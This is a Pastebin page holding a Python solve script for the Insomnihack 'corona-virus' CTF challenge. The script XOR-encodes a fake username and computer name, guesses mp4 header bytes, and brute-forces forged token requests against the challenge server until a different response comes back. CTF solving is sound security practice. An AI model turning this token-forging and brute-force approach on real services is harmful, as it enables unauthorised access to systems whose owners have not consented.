Advertisement
Guest User

Pwn script for corona-virus challenge CTF

a guest
Jan 30th, 2022
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.85 KB | None | 0 0
  1. import requests
  2.  
  3. def xor(s, key):
  4.     res = ""
  5.     for i in range(len(s)):
  6.         res+= chr(ord(s[i]) ^ ord(key[i%len(key)]))
  7.     return res
  8.  
  9. def to_hex(s):
  10.     res = s.encode("utf-8").hex()
  11.     return res
  12.  
  13. def xor_and_hex(s, key):
  14.     res = to_hex(xor(s, key))
  15.     return res
  16.  
  17. def main():
  18.     """
  19.     1. generate Token start
  20.     2. generate mp4 part
  21.     3. Generate username
  22.     4. Generate Computer name
  23.  
  24.     Send the requests with a token as a get requests, check result and save it if it's a picture
  25.  
  26.     """
  27.  
  28.  
  29.     UNAME_REAL = "The!Spy!Konstantin-K"
  30.     COMPNAME_REAL = "MOI-S1KRIT-KOMP"
  31.     xorkey = "qoef13iurbn2408"
  32.     url = "http://coronavirus.insomnihack.ch/d856c9191394bde38e6efa2e5aa6fb97785954dc97e4d696604bdc4470ef60dd.php?token="
  33.     init_token = "nWeF8V3yvVsmt9y8QqpVZ0esFqLClngk1w8hncWLuc4sedeExAXUSm7kAYyOTbu5WuoR81B3b73notXQJiw1Rv5nXE"
  34.     seperator = "|"
  35.     mp4filename = "SecCam_2013_Trump_Golden_Shower.mp4"
  36.  
  37.     uname = xor_and_hex(UNAME_REAL, xorkey)
  38.     compname = xor_and_hex(COMPNAME_REAL, xorkey)
  39.     print(compname)
  40.     for rand_byte1 in range(256):
  41.         print("randbyte1 now is:", to_hex(chr(rand_byte1)))
  42.    
  43.         for rand_couple2 in ["avc1", "iso2", "isom", "mmp4", "mp41", "mp42", "mp71", "msnv", "ndas", "ndsc", "ndsh", "ndsm", "ndsp", "ndss", "ndxc", "ndxh", "ndxm", "ndxp", "ndxs"]:
  44.             print("rand_couple2 now is:", to_hex(rand_couple2))
  45.             mp4_example = "000000"+"1C"+"6674706D" + "6D7034" + "31" # "7970"
  46.             mp4_hex = "000000" + to_hex(chr(rand_byte1)) + "66747970" + to_hex(rand_couple2)
  47.             print(mp4_hex)
  48.             ans = requests.get(url+init_token+seperator+mp4_hex+seperator+uname+seperator+compname)
  49.             if not ans.content == b'starting to get scared now...\n':
  50.                 print("==============================")
  51.                 print(int(rand_byte1))
  52.                 print(int(rand_byte1))
  53.                 print(int(rand_byte1))
  54.                 print("WOWWW")
  55.                 print("=====")
  56.                 print(ans.content)
  57.  
  58.  
  59.  
  60. if __name__ == '__main__':
  61.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement